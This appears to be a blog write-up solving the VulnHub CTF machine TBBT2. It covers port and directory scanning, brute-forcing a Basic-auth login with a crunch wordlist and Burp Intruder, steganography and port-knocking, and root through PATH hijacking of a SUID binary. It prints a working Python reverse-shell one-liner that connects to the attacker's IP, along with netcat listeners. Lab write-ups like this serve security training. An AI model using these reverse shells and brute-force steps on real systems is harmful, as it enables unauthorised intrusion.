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Good morning all,
I present to you today a post on the continuation of the “ TBBT ” series of
machines , offered by @emaragkos and available on the VULNHUB
platform.

Vulnerable By Design ~ VulnHub
VulnHub provides materials allowing anyone to gain practical hands-on
experience with digital security, computer…
www.vulnhub.com

This machine is described as being of Intermediate level with several
challenges of the CTF type ... So, if you wanted a realistic machine, go your
way! For all other challenge aficionados of all kinds, you are welcome 😄
For those of you who may have missed the first episode of this series, I cordially
invite you to check out this first post!

VULNHUB | TBBT CTF Write-up
Good morning all,
medium.com

Without further ado, let's start our analysis of this machine!

Configuration items
VMWare virtualization
Attacking IP: 192.168.35.128
Victim IP: 192.168.35.140 (tbbt2.local)

Enumeration
My first enumeration phase will begin, once is not customary, with a port
scan performed using the nmap tool .

nmap -sC -sV -p- 192.168.35.140

Among the open ports on this machine, we will find:
1. FTP service (TCP / 21)

The FTP service present is apparently closed, nothing convincing yet!
2. HTTP service (TCP / 80)

Home page http: //tbbt2.local

The home page of the site presents the word of welcome from our friend
Sheldon Cooper . This time, there is no question of sharing your IT resources
with anyone!
As we can see from this brief listing, only the HTTP service will be of interest
at the moment. Also, we can now focus our efforts on the latter in order to
analyze each of the elements observed!

Initial access
In-depth study of the website
A first search for files and folders accessible from the root of our website
was carried out using the gobuster tool . Two elements have thus been
identified:

gobuster dir -w /usr/share/dirb/wordlists/big.txt -u
http://192.168.35.140 -x txt

The password.txt file : first clue to this challenge, it is a memo left by
Sheldon in case of amnesia ... The password left in the memo is however
incomplete; the first 3 letters being absent;

Content of the le “password.txt”

The file / secret : a trap left by the author of this challenge! The
interrogation of this path will cause a succession of redirection (HTTP
code 301), until forming the word BAZINGA 😆

Try harder…

Good… This first analysis will have given us at least half a password, that's
already it 😃 Let's go back to our home page now!
Although I did not jump at first sight, the source code of this page contains
a large number of line breaks ... So, hidden (in the bottom right!) In a
comment on line 118, a clue to us will reveal a path on our website: the
address http://192.168.35.140/fyhd7fhf84ihdiksowj

A new clue left by Sheldon is present in the source code of the home page

A request on the address / fyhd7fhf84ihdiksowj will present us a new
message:

A priori, we know what to do!

In addition, the analysis of the requests executed during the launch of this
page will reveal the presence of a Javascript file…

… Which will be our next challenge to solve!

Easy or hard way… A preference?

Without too many pretensions we will choose the easy way, much faster to
conclude this challenge !!! Also, in order to resolve the code present in the
file 5hf7eh39djkf83h2lkfo.js , it will be (only!) Necessary to execute the
latter in the console of our Web browser; available from developer tools 😄
The disobfuscation of the code will then reveal a comment… itself coded!

Obfuscation of the message present in the Javascript le

This time the decryption of our new message will be quite succinct: this is a
simple ROT13 type encoding , an encryption method also known as the
César cipher.

O set encryption
In cryptography, shift encryption, also known as the Caesar cipher or the
Caesar code (see…
en.wikipedia.org

After deciphering the message, we will have a new path revealed on our
website: the address http://192.168.35.140/the_real_secret_dir

Decryption of the message encoded in ROT13

For all decryption operations and analyzes of all kinds, I can only recommend

the excellent CyberChef site ... A reference!

CyberChef
The Cyber Swiss Army Knife - a web app for encryption, encoding,
compression and data analysis
gchq.github.io

This time, the secret address (the real one!) Will be protected by Sheldon's
identifiers ...

Access to the page http: //tbbt2.local/the_real_secret_dir/ is protected

A study of the transmitted request will bring us a better understanding of
the authentication mechanism used, namely a Base64 encoding of the
value login: password

Request transmitted during authentication

Base64 encrypted identi ers

So we will have to find the right password 😄 Let's not forget that we
already know the end of it, previously revealed in the file password.txt : ***
train
Knowing that I was only missing the first three letters, I built a custom
dictionary using the crunch tool ; natively present on the Kali distribution.
To do so, I have:

Create a list including all possible combinations of three alphabetic
characters (lowercase);

crunch 3 3 -o wordlist.txt

Then add the suffix “ train ” to my word list, to build up our dictionary!

sed 's /.*/& train /' wordlist.txt> trains.txt

It only remained for me to test this dictionary, by performing an attack on
the authentication form using the Burp proxy and its Intruder functionality
! So you just need to:
Transmit the authentication request on the Burp intruder page and
position the location of your payload;

Configure the payload by adding our dictionary trains.txt as well as two
processing rules aimed at adding the prefix “ sheldon: ” (our login
tested) before the password, then a last rule encoding the complete
chain in Base64 ;
Don't forget to uncheck the special character URL encoding box where your “ : ”
character will change to “ % 3a ”!

Then launch your attack in order to recover our precious sesame: the
oldtrain password (well ok, we could also have tried to guess it 😆)…
Well done!

Sorting the status of our requests will reveal the only payload that worked!

Base64 decryption from previous payload will provide us with the password

Access to the system as a sheldon
Once authenticated on the address http:
//tbbt2.local/the_real_secret_dir/, we will be in the presence of a message
left by Sheldon. This first tells us the location of a new password file:

At first glance, the password is not really understandable 😥

Content of the le “p4ssw0rd.txt”

However, opening it from a text editor will reveal mysterious spaces…

View of the p4ssw0rd.txt le under nano

Strange… But hey, let's remember the description of this machine by its
author! A priori, we should find the main challenges present in CTF… and
what would be a CTF without steganography ?!
Based on this observation, I looked for the different solutions allowing to
hide text “in a text”… After some research on our friend Google, I identified
the stegsnow tool with which I analyzed our file p4ssw0rd.txt …
Ubuntu Manpage: stegsnow - whitespace steganography program
Provided by: stegsnow_20130616-2_amd64 NAME stegsnow - whitespace steganography program

SYNOPSIS stegsnow [-CQS] [-h…
manpages.ubuntu.com

My first attempt with this software will be the right one, revealing to me a
much more coherent password : ilikeklingon !

stegsnow -C p4ssw0rd.txt => ilikeklingon

But, what is klingon ? If you are a fan of the series “ The Big Bang Theory ”, I
spare you this affront! For all the others, it is an extraterrestrial species
drawn from the universe of “Start Trek” 😃

Klingon
The Klingons are, in the ctional universe of, an extraterrestrial species
originating from the planet Kronos (Qo'noS in…
en.wikipedia.org

Interesting, but hey… what could it serve us well? And this password is very
nice… but where can I use it ??? We are coming!

Knowledgeable eyes will naturally have spotted this strange code on the
previous page:

The code here is nothing more than an encrypted message ... in Klingon
language! We will note in passing the name of this file, namely
secret_message.jpg . When it comes to translation, you don't have to be
klingon! Several online decoders will be available to translate our message:
1000 2000 3000 !

Klingon language - Decipher, Encrypt, Translate, Encode
Tool to decode / speak / translate the Klingon language using the symbols of
the language of the planet Kronos in…
www.dcode.fr

A last clue will be present on the page, namely the following GIF file named
alwaysknock3times

A classic of the series!

To summarize our situation, we have:
The ilikeklingon password , taken from the p4ssw0rd.txt file ;
The combination 1000 , 2000 , 3000 revealed after deciphering in
klingon the image secret_message.jpg ;
A GIF file named alwaysknock3times
From these elements, we can now easily guess that this challenge will
continue with a port-knocking action !
For the uninitiated, port-knocking is a technique used to hide a remote
service on the system. More concretely, this technique consists in sending a
SYN type sequence (TCP or UDP) to a target machine in order to unlock a
port; sending a correct sequence generating a corresponding rule on the
firewall of the machine.
Port knocking
Door knocking, or port-knocking, is a method of modifying the behavior of a rewall (…

en.wikipedia.org

Thus, the combination 1000 - 2000 - 3000 takes on its full meaning! We
can use knock software on Linux to meet our needs. After a first
unsuccessful attempt through the TCP protocol, the use of a UDP sequence
will open the door to the SSH service 😄

knock -u tbbt2.local 1000 2000 3000

The SSH service is accessible after launching our UDP sequence

PS: It should be noted that, unfortunately, the knockd daemon will not be
functional for VMware users 😥 Also, those concerned wishing to continue
this challenge will have to enter the Maintenance mode of the Grub in order to
modify the file / etc / default / knockd . It will then be necessary to inform
the correct interface so that the service can start correctly the next time the
machine is started!
All that's left is to log in using the ilikeklingon password …

Welcome sheldon!

And retrieve our user flag ... Well done!

Sheldon user ag

Access to the system as root
When connecting with our user sheldon , we can see that a script has been
left by the author in order to “disturb” the well-intentioned hackers that we

are! This, executed regularly on the machine, sends in particular a
broadcast message on the user's session:

In order not to be disturbed, my first action will be to open a reverse shell
using the Python interpreter. To do so:
Open a listening port on the attacker's station;

nc -nlvp 1234

Then launch our reverse shell from the sheldon account!

python -c 'import socket, subprocess, os; s = socket.socket
(socket.AF_INET, socket.SOCK_STREAM); s.connect (("192.168.35.128",
1234)); os.dup2 (s.fileno () , 0); os.dup2 (s.fileno (), 1); os.dup2
(s.fileno (), 2); import pty; pty.spawn ("/ bin / bash") '

Receipt of our reverse shell on the attacker's workstation

Well, we will be quieter to work présent Now let's start our enumeration!
From our new freshly obtained access, we can perform a local enumeration
of the server. Meeting my main needs, I regularly use the linPEAS.sh script
to automate this task.

carlospolop / privilege-escalation-awesome-scripts-suite
PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)…
github.com

After analyzing the results, we can see the presence of a program on the
Sheldon desktop with a SUID root bit : the iliketrains file .

The iliketrains le has a bit of privilege and is accessible by all users!

Thus, the presence of a privilege bit on the owner field of the file indicates
that the execution of this program is ensured with the rights of the owner
user ... who is the root account ! Here is our elevation of privileges sought
😄
In the same location will also be the source code of this program, the
.iliketrains.c file . The study of the latter will indicate to us in particular
that the program executes the command sl

Contents of the “.iliketrains.c” le

Now, it is important to note that the binary executed by the iliketrains
program (the binary sl ) is not launched from an absolute path… Thus, we
are therefore able to execute a “ Path ” attack Hijacking ”.
This attack will simply consist in modifying the variable PATH , in order to
usurp the legitimate location of the binary “ sl ”… The article below will
wonderfully present the vulnerability played in the present case:

Linux Privilege Escalation Using PATH Variable
After solving several OSCP Challenges, we have decided to write an article
on the various methods used for Linux…
www.hackingarticles.in

Now imagine that the binary sl points to the address / home / sheldon /
Desktop and is ultimately only a script making a remote connection to the
attacker's machine? We will thus obtain a remote access with the rights of
the user executing the iliketrains program … namely root (and yes, let's
not forget the sticky-bit positioned on the program)!
Thus, to carry out this attack, we will need:
Listening a port on the attacker's station;

nc -nlvp 5555

Modify the PATH variable in order to add the location / home / sheldon
/ Desktop first ;

export PATH = / home / sheldon / Desktop: $ PATH

The path / home / sheldon / Desktop will be consulted rst when looking for our “sl” command

Create the sl file under / home / sheldon / Desktop , containing our
payload;

Content of the “sl” le… A nice reverse shell in Python!

Do not forget the addition of rights in execution on the created file!

chmod + x / home / sheldon / Desktop / sl

To conclude, run the iliketrains program … And that's all !!!

Launch of the “iliketrains” program

Welcome root!

The valiant warrior only has to recover his well-deserved reward: the flag
root, marking the end of this challenge 🍾 🙌 🎉

An AMAZON code… Delicate attention from the author 😙

Conclusion

This is where my presentation of the “ TBBT2 ” machine ends . In
accordance with the announcement of its author, the various challenges
particularly represented the stages of resolution encountered in a good
number of CTFs ... which was particularly pleasant! I also appreciated the
final elevation, referring to a “ Path Hijacking ” attack . So it's always good
to revise your classics!
To conclude, this new machine from the “ TBBT ” series is a real success!
The level of difficulty announced, Intermediate , is also consistent; some
practice and some knowledge of CTF techniques being required in
particular to overcome the beast! In short, a pleasant machine, in the right
continuity of the first opus 😄
Another big thank you @emaragkos for his contribution 🙌 as well as our
discussions!
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